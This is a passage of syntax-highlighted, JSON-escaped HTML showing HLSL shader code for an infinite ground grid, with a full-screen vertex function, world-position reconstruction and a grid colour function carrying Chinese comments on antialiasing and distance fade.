class=\"p\"\u003e};\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eVaryings\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionCS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nd\"\u003eSV_Position\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003euv\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTEXCOORD0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eVaryings\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003evert\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003euint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003evertexID\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nd\"\u003eSV_VertexID\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eVaryings\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoutput\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoutput\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epositionCS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetFullScreenTriangleVertexPositionCS\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003evertexID\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoutput\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003euv\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetFullScreenTriangleTexCoord\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003evertexID\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoutput\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetDepthAndWorldPosition\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003euv\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edepth\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003endc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003euv\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003euv\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mo\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003endc\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exy\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003endc\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exy\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eivp\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_MatrixInvViewProjection\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003endc\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003edot\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eivp\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003exyw\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003endc\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exyw\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eivp\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003endc\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0.0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e||\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003endc\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e1.0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ediscard\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edepth\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003endc\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003emul\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eivp\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003endc\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e/=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ew\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exyz\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetGridColor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elevel\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egridWidth\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003epow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elevel\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003escaledPos\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exz\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egridWidth\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ediff\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003efwidth\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003escaledPos\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 值越大,离得越远\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egridEdge\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003eabs\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nb\"\u003efrac\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003escaledPos\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehalfLineWidth\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mf\"\u003e1.0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_Antialiasing\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ediff\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 离得越远越粗\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ethreshold\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehalfLineWidth\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eintensity\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003esmoothstep\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ethreshold\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egridEdge\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 羽化边缘,减少锯齿\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ealpha\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003emax\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eintensity\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eintensity\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ealpha\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003epow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nb\"\u003esaturate\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003emax\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ediff\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ediff\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e)),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_FadeOut\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 离得越远越淡\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nb\"\u003eabs\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003escaledPos\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehalfLineWidth\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_ZAxisColor\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eelse\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nb\"\u003eabs\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003escaledPos\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehalfLineWidth\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_XAxisColor\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_LineColor\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ergb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan 